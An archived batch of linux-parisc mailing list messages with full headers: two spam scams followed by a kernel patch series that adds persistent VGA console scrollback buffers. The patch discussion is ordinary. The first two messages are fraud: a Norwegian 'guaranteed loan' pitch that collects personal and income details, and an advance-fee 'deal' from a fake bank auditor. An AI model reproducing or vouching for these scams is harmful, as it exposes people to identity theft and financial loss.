NNTP-Posting-Date: Sun, 17 Apr 2016 16:42:18 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 17 18:42:07 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1arplv-0005aP-38
	for glpp-linux-parisc@plane.gmane.org; Sun, 17 Apr 2016 18:42:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751078AbcDQQmG convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Apr 2016 12:42:06 -0400
Original-Received: from mail2.kalstaronline.com ([202.43.163.170]:35954 "EHLO
	mail2.kalstaronline.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750964AbcDQQmF convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Apr 2016 12:42:05 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail2.kalstaronline.com (Postfix) with ESMTP id F207C19D09E5;
	Sun, 17 Apr 2016 23:39:18 +0700 (WIB)
Original-Received: from mail2.kalstaronline.com ([127.0.0.1])
	by localhost (mail2.kalstaronline.com [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id N9wuTWojjZFC; Sun, 17 Apr 2016 23:39:16 +0700 (WIB)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail2.kalstaronline.com (Postfix) with ESMTP id 5D0A419D0891;
	Sun, 17 Apr 2016 23:39:16 +0700 (WIB)
DKIM-Filter: OpenDKIM Filter v2.8.4 mail2.kalstaronline.com 5D0A419D0891
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kalstaronline.com;
	s=FDDC90DE-F623-11E5-8040-0DA408C65E0B; t=1460911156;
	bh=FmsspkDqpYlI2E1TSuflKKKPJfzUJoMzU9gXHE3CTwM=;
	h=Date:From:Reply-To:Message-ID:Subject:MIME-Version:Content-Type:
	 Content-Transfer-Encoding;
	b=LnQd1Zj4ITmgm2pYXO5FCC4mQrFr1qVkMWoHwC/JIHm54BdVdh6nXRYEaQ70hQuCY
	 cKpA+JiZO/pJjadovltIp5F0iEmS9OVqH4Ieq7+zFAs3xX/bmErHLFhqCgUdpRvPKv
	 G7EPbQZY+pXAi5nyo+Qek0ZFv3dNxgI6b7PzYwus=
X-Virus-Scanned: amavisd-new at kalstaronline.com
Original-Received: from mail2.kalstaronline.com ([127.0.0.1])
	by localhost (mail2.kalstaronline.com [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id xtziok8_OHKu; Sun, 17 Apr 2016 23:39:16 +0700 (WIB)
Original-Received: from mail2.kalstaronline.com (mail2.kalstaronline.com [202.43.163.170])
	by mail2.kalstaronline.com (Postfix) with ESMTP id 9EBF819D00AB;
	Sun, 17 Apr 2016 23:39:15 +0700 (WIB)
X-Originating-IP: [197.210.16.151]
X-Mailer: Zimbra 8.0.6_GA_5922 (zclient/8.0.6_GA_5922)
Thread-Topic: =?utf-8?Q?L=C3=A5netilbud?=
Thread-Index: fGqDOl9yrdrfGCgqmoc1VP5g3TcaBA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26649
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26649>

God dag,

Dette er CENTRAL TRUST l=C3=A5n selskaper tilbyr l=C3=A5n.

Central Trust L=C3=85N Selskapet tilbyr fleksible og rimelige l=C3=A5n =
til ethvert form=C3=A5l, for =C3=A5 hjelpe deg =C3=A5 n=C3=A5 dine fina=
nsielle m=C3=A5l. vi l=C3=A5n med lav rente p=C3=A5 1,5%. Her er noen v=
iktige trekk ved personlig l=C3=A5n fra sentral stoler p=C3=A5 utl=C3=A5=
n selskaper tilbys. Her er de L=C3=A5ne Faktorer vi samarbeider med de =
ledende britiske meglere som har tilgang til toppen l=C3=A5ngivere og v=
=C3=A6re i stand til =C3=A5 finne den beste =C3=B8konomiske l=C3=B8snin=
gen til en rimelig price.Please, hvis du er interessert kan du kontakte=
 oss via denne e-post: centraltrust_ltd@webadicta.org

Etter reaksjonen vil du motta en s=C3=B8knad om kreditt fyll. Ingen sos=
ial sikkerhet og ingen kredittsjekk, 100% garantert.
Det er en =C3=A6re for oss hvis du tillater oss til tjeneste.

informasjon Needed

Dine navn:
Adresse:
telefon:
M=C3=A5 Antall:
Varighet:
Okkupasjon:
M=C3=A5nedlig inntekt:
Kj=C3=B8nn:
=46=C3=B8dselsdato:
Status:
Land:
Hensikt:

M=C3=B8t dine =C3=B8konomiske behov er v=C3=A5r stolthet.

Vennlig hilsen
David Donald
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: andreas11@elisaandreas.biz
Newsgroups: gmane.linux.ports.parisc
Subject: Greetings!!!
Date: Mon, 18 Apr 2016 18:43:38 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <962979.90403.qm__5481.14211201227$1461001483$gmane$org@smtp106.biz.mail.gq1.yahoo.com>
Reply-To: J_ericdaniels111@outlook.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1461001483 15039 80.91.229.3 (18 Apr 2016 17:44:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2016 17:44:43 +0000 (UTC)
To: "Mr. Eric" <andreas11@elisaandreas.biz>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 18 19:44:43 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1asDE0-0006Nv-FW
	for glpp-linux-parisc@plane.gmane.org; Mon, 18 Apr 2016 19:44:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753306AbcDRRoe convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Apr 2016 13:44:34 -0400
Original-Received: from smtp106.biz.mail.gq1.yahoo.com ([98.137.12.181]:29606 "EHLO
	smtp106.biz.mail.gq1.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751622AbcDRRoO convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Apr 2016 13:44:14 -0400
Original-Received: (qmail 24451 invoked from network); 18 Apr 2016 17:44:13 -0000
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1461001453; bh=R6H7d5nSXo9iM92OJw06UPdsSB/AJ5JoH65ks8WyKiQ=; h=Message-ID:Content-Type:MIME-Version:Content-Transfer-Encoding:Content-Description:Subject:To:From:Date:Reply-To; b=1cVzGU5VOlz9/fG1Gp+XpCOPnXpVYXEQMrcR/CbkBuoV7iB2FCXZK/VLxugTk7pFgpJUa7vJA64005jj3CgasbAXGHSTTjInOLiYSyRG3dKOf0oPZkZmAMUvXc1QuJOTCwXJGYHidF3QeyEnMgmhM3+XT79Or2tYWXMLztQzdW0=
X-Yahoo-Newman-Property: ymail-3
X-YMail-OSG: 35Wr.XMVM1m2y8eRxi6Ut2rh0rj7aNZC0cGiK_Seu2tIlRw
 cZW8OQtrjG5e.2IMwUYZnK_JjWtq3VUCJJ4TPFhb8guzeqPfIYAaJAOxilD8
 zun6r4uRj7OUM8NeLcST.Y_2JoLrS2sRWc2sqDaqcWot3eCrZUAwg5otager
 LkvGt4j3DoiO0Wg_6MTPk7U4LWtVDNi16NBs4CztHANEoxcIdapG2dCSJb4M
 8C5cNqfrRv4CxQ4FfvmZaCRBa76HpCs3BnA4qBk5TAexfis9wJ3xx5Vf3O2U
 8o336Y.TLAymuOFWPr1Vp2PGEVidic7zT.fo2O1kX7xLWayfY4cXJLzmQnD6
 ikWpZuoYivwO7fWkZqghcGXKgKvw3ZEK9b71r2fUB85CpI_bEFSQRy6Z3le7
 Szx1NTUI2p2s.9eBL8goJ9opjIzGnEHu.PG4I_sN1S0_Y48htms84Ms.WfAJ
 5yNfWKys0pfVzvSynIPbI0rn3IAmqkch95J0kyokmeQJOoS7yZ4XlVAx1.gi
 rgxxlGDTsk3hjDSbncCW8An.k_dR.
X-Yahoo-SMTP: 99GLgiaswBBASrIYNYC8ri6Lxz5mLDuk3tpd
Content-Description: Mail message body
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26650
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26650>

Hi, how are you? My name is J Eric Denials, External Financial Auditor =
at Lloyds Banking Group plc., London. It is a pleasure to contact you a=
t this time through this medium. I have a cool and legitimate deal to d=
o with you as you're a foreigner, it will be mutually beneficial to bot=
h. If you=E2=80=99re interested, urgently, get back to me for more expl=
anation about the deal.
Regards
Eric
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?UTF-8?q?Manuel=20Sch=C3=B6lling?= <manuel.schoelling@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.usb.general
Subject: [PATCH 0/2] Persistent scrollback buffers for all VGA consoles
Date: Mon, 18 Apr 2016 21:56:43 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <1461009405-1738-1-git-send-email-manuel.schoelling@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1461009444 13641 80.91.229.3 (18 Apr 2016 19:57:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2016 19:57:24 +0000 (UTC)
Cc: jslaby@suse.com, thomas@winischhofer.net, plagnioj@jcrosoft.com,
	tomi.valkeinen@ti.com, jejb@parisc-linux.org, deller@gmx.de,
	manuel.schoelling@gmx.de, sfr@canb.auug.org.au,
	linux-kernel@vger.kernel.org, linux-usb@vger.kernel.org,
	linux-fbdev@vger.kernel.org, linux-parisc@vger.kernel.org
To: gregkh@linuxfoundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 18 21:57:16 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1asFII-0006G5-QF
	for glpp-linux-parisc@plane.gmane.org; Mon, 18 Apr 2016 21:57:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751723AbcDRT5O convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Apr 2016 15:57:14 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:57004 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751363AbcDRT5M (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Apr 2016 15:57:12 -0400
Original-Received: from schoellingm.dzne.de ([37.201.194.187]) by mail.gmx.com
 (mrgmx003) with ESMTPSA (Nemesis) id 0M54L0-1bgTIg14Jy-00zGTr; Mon, 18 Apr
 2016 21:56:52 +0200
X-Mailer: git-send-email 2.1.4
X-Provags-ID: V03:K0:RpaiPvR6AqUYaNM4uRoqi6X8juXgXW72zS0KrKrRE9gsd0L7sCU
 kuz6TLDGt82OVCA8ZTIuHT1XqA/kxokPrVkDZ+BVrbLKvP4PkFhsE1CoOJHbdl6boep4y6M
 +YP9e0ZGe+ZllmRctDSoc5Q5eGhYaoDYJvc78VdzQOuSbxlDO9NXUnXTaxHC8A4TBtMhyW4
 IcffGG5Ru+IvOz5T9Plkw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:CUgHPRe/ozQ=:TXJpgnNktKubaSnXwJoKnZ
 IAsEw+6Lgok4G9uWXJaSx8JIEeKXJmKmru247cnkQo9FrLbitIx/mB/C0dTt2V2cAIYk0fWIa
 2JXcrXlV7EdApbDQY3HEll3iI8DopabOqDfkRQmZt14SE+Qynjys/KwRacd1SrpstLD84Ld9t
 +0bLtWw3KlyhiZLD6dfjIGJZXahgPbVY4RJ5S7HvXpSszXKmjBR/0UcZkXaXH3OxomhRLLnIr
 VWnbiUfo2BJIRZgp73E9vOSj0yQghOZHtUHlQJ6kDrBu9We/FwKATn9cZaeYbFePR4usuQKWf
 RHX12W/ZR4XKXvC+nyvZTwp96daPG/NrJeciJM5b712cyqmIsW64EoR/VEh41Mo5sBrM4bj2h
 oStcHNg7PIf6wBCvkZMbHv4ptoreY81rOpVSkzUprw3a9RLnLR2I3JNeHo8rjLy25QXlnOQwv
 PeBPv8fLZkgF+LM5xZOVMR8/5T9YlFq5vZ1P+qODrzP8OF6PqQiA0vpZcDtOo6NEXVP+dyfey
 gEcoRDSd5Zk0Z7BzWaMVWt3bGQn7Qtj4Di4Wsapn09lcqXbrbGHm1XXAL4MH5qvnAF+D+mMKt
 DW0yqOk3kwqxW3eqYpaBNmNkjkr1E3Anhk0a4UQmOlpSlrEJCpluDVylfTEFQ+q3rAZ0ONpqR
 cJRV18izEOfb1aK5pHZrcuMR9qGsSTcXDOfYAl+3hJ2qBQrt396bNDYxyhefdjc/822Zarmyl
 v7Ie08TIHs7BnQqR0SIFWdV7JDJpmeADsVS52TB2Z+pxSiRc+8CU32zDcVEK1b0srVYIX3G6 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26651 gmane.linux.kernel:2202052 gmane.linux.usb.general:140578
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26651>

Another attempt to add persistent scrollback buffers for all VGA consol=
es,
so the buffer is not flushed when swithing back and forth between conso=
les.

Note that breaks tools like bash's clear_console and thus might have
security implications:
clear_console relies on this 'anti-feature' of the kernel to clear the =
buffer
when consoles are switched.

To offer a way for userland tools to flush the buffer my second patch a=
dds
a ioctl call for that.
Also this feature is disabled by default and security implications are =
clearly
stated in its documentation.

Manuel Sch=C3=B6lling (2):
  console: Add persistent scrollback buffers for all VGA consoles
  console: Add ioctl for flushing the scrollback buffer

 drivers/tty/vt/vt_ioctl.c               |  20 ++++
 drivers/usb/misc/sisusbvga/sisusb_con.c |   1 +
 drivers/video/console/Kconfig           |  22 +++-
 drivers/video/console/dummycon.c        |   1 +
 drivers/video/console/mdacon.c          |   6 +
 drivers/video/console/newport_con.c     |   1 +
 drivers/video/console/sticon.c          |   7 ++
 drivers/video/console/vgacon.c          | 195 ++++++++++++++++++++++--=
--------
 include/linux/console.h                 |   1 +
 include/uapi/linux/vt.h                 |   1 +
 10 files changed, 194 insertions(+), 61 deletions(-)

--=20
2.1.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?UTF-8?q?Manuel=20Sch=C3=B6lling?= <manuel.schoelling@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.usb.general
Subject: [PATCH 0/2] Persistent scrollback buffers for all VGA consoles
Date: Mon, 18 Apr 2016 21:56:56 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <1461009418-1795-1-git-send-email-manuel.schoelling@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1461009485 14344 80.91.229.3 (18 Apr 2016 19:58:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2016 19:58:05 +0000 (UTC)
Cc: jslaby@suse.com, thomas@winischhofer.net, plagnioj@jcrosoft.com,
	tomi.valkeinen@ti.com, jejb@parisc-linux.org, deller@gmx.de,
	manuel.schoelling@gmx.de, sfr@canb.auug.org.au,
	linux-kernel@vger.kernel.org, linux-usb@vger.kernel.org,
	linux-fbdev@vger.kernel.org, linux-parisc@vger.kernel.org
To: gregkh@linuxfoundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 18 21:57:57 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1asFIz-0006aq-54
	for glpp-linux-parisc@plane.gmane.org; Mon, 18 Apr 2016 21:57:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752698AbcDRT5f convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Apr 2016 15:57:35 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:49940 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752113AbcDRT5b (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Apr 2016 15:57:31 -0400
Original-Received: from schoellingm.dzne.de ([37.201.194.187]) by mail.gmx.com
 (mrgmx102) with ESMTPSA (Nemesis) id 0M7UUd-1be0S903z5-00xKho; Mon, 18 Apr
 2016 21:57:10 +0200
X-Mailer: git-send-email 2.1.4
X-Provags-ID: V03:K0:yUUR3AMC84b06BCtr6HlqyEOYs6otNSjOjIefQqxfnMnpUdMpQp
 BXfBMKvC6K6mkEqLquBtOF9GaCd5rN7vQjLK4lrthDBs8XPonbhVUgZlCgPT3CHUo1jldzy
 P3Z7/ZwJaGTkjm+V/rWwXt3bvsO5eSPTY6w+sfQNKSFlrT4iadddbzQ+SqDyTnk51e1wZco
 twS3HXCk7B0WoLNOAJIbA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:4cmJbteS+FU=:ocsAIhWmfMnCyX162qEn+e
 g+FgenoujoyZxZAq0gl9d9imS2YnaB8sVfULiFT4eWcqB9Lggcf7dptmm1eKsk/sUnt3m9olF
 xYO5e9HCvBMLTHOCsyrs5g6Cq+tfuce3GARRBKcjp0B0K6xBjykWtBzcdFayEgzVgI0GfWlGy
 5sI+xYrAo64djJ5MdD93EMbTze0x9jeSJhgVMIYzdFyQh5pk5WbGIyINPHRPMvK2VV3OEIz6E
 1uQGkoDQ/w09fG5kqf1PgUBbAbGOGGeULfSMexAo9BajZ4xw5Iv9pNP8rb1koooY3HsRTY1FC
 pAb2PVrzMTx7r62cilvG9u/df4xx7Ti90fDgue75oU9F6nb6fEvEpGa04aPYGwqACpVc4N6/6
 syNJXtZpZtphkGnXlxwJghm5QKH41isS+LcXxVa105OE/HnuXQjI9hK9V4w9+1jXAAFeMMdqc
 mCXTzbBsN7DknFNA/9hJHNC3eayhsHiAMNbRQI8mayDOa2q5FsO0ZI1mZsmy/uyVtdv9TLOoQ
 ftSm1iZcF2mu8bTuofKPjotPOX/268J5BpD79zCP5nUXQfNgion35q0GVsLRN4Np9G9JwBWYK
 dYn5hn3c0dzM0sYkztUy3yXrvX+x8YfqpRDBswiTPvfRyuuZP9SM0QUS73zX5Z2gsOa8S1FAl
 QhpcryO5lCN/bqrA2ZdBgSCaPWvNo47TX7t4lI7LH5/9Fg//zDTkCrUOH+SSMO4hxF/vmggi0
 WyMVQpLe34eyaFld2ghm271e4Yzm1PapM8xoh7mFrLcE60rYJDH2v4+YOZIBMBq/pkSMFzX+ 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26652 gmane.linux.kernel:2202054 gmane.linux.usb.general:140579
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26652>

Another attempt to add persistent scrollback buffers for all VGA consol=
es,
so the buffer is not flushed when swithing back and forth between conso=
les.

Note that breaks tools like bash's clear_console and thus might have
security implications:
clear_console relies on this 'anti-feature' of the kernel to clear the =
buffer
when consoles are switched.

To offer a way for userland tools to flush the buffer my second patch a=
dds
a ioctl call for that.
Also this feature is disabled by default and security implications are =
clearly
stated in its documentation.

Manuel Sch=C3=B6lling (2):
  console: Add persistent scrollback buffers for all VGA consoles
  console: Add ioctl for flushing the scrollback buffer

 drivers/tty/vt/vt_ioctl.c               |  20 ++++
 drivers/usb/misc/sisusbvga/sisusb_con.c |   1 +
 drivers/video/console/Kconfig           |  22 +++-
 drivers/video/console/dummycon.c        |   1 +
 drivers/video/console/mdacon.c          |   6 +
 drivers/video/console/newport_con.c     |   1 +
 drivers/video/console/sticon.c          |   7 ++
 drivers/video/console/vgacon.c          | 195 ++++++++++++++++++++++--=
--------
 include/linux/console.h                 |   1 +
 include/uapi/linux/vt.h                 |   1 +
 10 files changed, 194 insertions(+), 61 deletions(-)

--=20
2.1.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?UTF-8?q?Manuel=20Sch=C3=B6lling?= <manuel.schoelling@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.usb.general
Subject: [PATCH 1/2] console: Add persistent scrollback buffers for all VGA consoles
Date: Mon, 18 Apr 2016 21:56:57 +0200
Lines: 350
Approved: news@gmane.org
Message-ID: <1461009418-1795-2-git-send-email-manuel.schoelling@gmx.de>
References: <1461009418-1795-1-git-send-email-manuel.schoelling@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1461009485 14346 80.91.229.3 (18 Apr 2016 19:58:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2016 19:58:05 +0000 (UTC)
Cc: jslaby@suse.com, thomas@winischhofer.net, plagnioj@jcrosoft.com,
	tomi.valkeinen@ti.com, jejb@parisc-linux.org, deller@gmx.de,
	manuel.schoelling@gmx.de, sfr@canb.auug.org.au,
	linux-kernel@vger.kernel.org, linux-usb@vger.kernel.org,
	linux-fbdev@vger.kernel.org, linux-parisc@vger.kernel.org
To: gregkh@linuxfoundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 18 21:57:51 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1asFIs-0006aq-ON
	for glpp-linux-parisc@plane.gmane.org; Mon, 18 Apr 2016 21:57:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752719AbcDRT5d convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Apr 2016 15:57:33 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:61375 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752698AbcDRT5b (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Apr 2016 15:57:31 -0400
Original-Received: from schoellingm.dzne.de ([37.201.194.187]) by mail.gmx.com
 (mrgmx102) with ESMTPSA (Nemesis) id 0Mg0IT-1b47P92EPV-00NRiw; Mon, 18 Apr
 2016 21:57:10 +0200
X-Mailer: git-send-email 2.1.4
In-Reply-To: <1461009418-1795-1-git-send-email-manuel.schoelling@gmx.de>
X-Provags-ID: V03:K0:Y21VVWYjTiPKWYBIs4/ZM7R5hIjfVR9/x2If6KGqTSpMQCJqRIo
 aHZj3psoWLiCXr46zn+i6P3au7VIu1M0EtvmjDb9msTB/g2w9LuBEZb3pAcN2MY1uEVgnpI
 NOHDg9cnm/E7/kEhbna/+ebuvN1gwDwRjK3DKhiyoOw0xRCJNhvUUmtpcmqz2xT/JfCXhQy
 qqNL1oWNcPvMTqciqFVog==
X-UI-Out-Filterresults: notjunk:1;V01:K0:MYpIUaHLdiI=:1IRAGmn4oiHkgLVBMm+GZz
 sbaWdjcN1HBU7LPTkWIo3ygg9kenSMvZ7CjiLxnXUddo+7G3FzhIDCU6bER2jBrYM+uKcO3a0
 +eXlnFZmfFAQ9yQAM69eDsptFc+Y4V1dyAsdbKvBfFv3f4s6UlAJwHUnHdvZR8emeVtMUZ5HQ
 N/M3r0npu2FLaKK5iHqXhuo6OowVbXTShw4jhKvMHymXRVRdc3p16aXSFOS8JqIdPdC7vY5Ch
 XwsnzN13teThfd+voY324vnSFngUKBU+AytXc9CQALEEMHFEN0pKUpWoBP4NgqdVSN3j5oTW7
 eQJ5B9jGtXS9bIxALJfdshrnG5llIEHGsEZAWNnIbjlkiO1JoqfQikZUhybk3ylGp0EZ2LuG1
 MIxL0ZBcBxdgKyd7L87vapv+MiEevzH1f/dYB8duMe/keVkc5WEgolko1mGm5K510tS/JTa+c
 lwTeeuIXyrn130MhuRdvJCsxADZx6p00dMyoHqRf5m9MpcteDYj7FU7CbzetuPKvpG+EQelO/
 aVordGydSxEqtpk5NhQgqXYzCuj2zzDw95HdtOJIUXfl+KuAcOuAD7d5hp5gYdj34yeREvC28
 846KhAotZu6p0MdvUgiKi5iK/79NLrmqk0rsYyukv2WdNpIKVY7UI49mtrPkFeIM/y+sOV5DQ
 apj8ipkMV8FrkWFzdjHgaDe1S9GkRibSPagAPGQEaDZAD02Q6EhisEbzOpqUJysfLgYgaH+Ic
 ff11+JvUWg03HCfoupHvGJ+2aB2xxlDFaeiCghe8sk22pfv6lKmVsJ80TdWAFpUbqn6QyIEE 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26653 gmane.linux.kernel:2202055 gmane.linux.usb.general:140580
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26653>

Add a scrollback buffers for each VGA console. The benefit is that
the scrollback history is not flushed when switching between consoles
but is persistent.
The buffers are allocated on demand when a new console is opened.

This breaks tools like clear_console that rely on flushing the
scrollback history by switching back and forth between consoles
which is why this feature is disabled by default.

Signed-off-by: Manuel Sch=C3=B6lling <manuel.schoelling@gmx.de>
---
 drivers/video/console/Kconfig  |  22 +++++-
 drivers/video/console/vgacon.c | 172 +++++++++++++++++++++++++++------=
--------
 2 files changed, 133 insertions(+), 61 deletions(-)

diff --git a/drivers/video/console/Kconfig b/drivers/video/console/Kcon=
fig
index 38da6e2..f101a63 100644
--- a/drivers/video/console/Kconfig
+++ b/drivers/video/console/Kconfig
@@ -43,9 +43,25 @@ config VGACON_SOFT_SCROLLBACK_SIZE
        range 1 1024
        default "64"
        help
-         Enter the amount of System RAM to allocate for the scrollback
-	 buffer.  Each 64KB will give you approximately 16 80x25
-	 screenfuls of scrollback buffer
+	  Enter the amount of System RAM to allocate for scrollback
+	  buffers of VGA consoles. Each 64KB will give you approximately
+	  16 80x25 screenfuls of scrollback buffer.
+
+config VGACON_SOFT_SCROLLBACK_FOR_EACH_CONSOLE
+	bool "Persistent Scrollback History for each console"
+	depends on VGACON_SOFT_SCROLLBACK
+	default n
+	help
+	  Say Y here if for each VGA console a scrollback buffer should
+	  be allocated. The scrollback history will persist when switching
+	  between consoles. If you say N here, scrollback is only supported
+	  for the active VGA console and scrollback history will be flushed
+	  when switching between consoles.
+
+	  This breaks legacy versions of tools like clear_console which
+	  might raise security issues.
+
+	  If you use a RAM-constrained system, say N here.
=20
 config MDA_CONSOLE
 	depends on !M68K && !PARISC && ISA
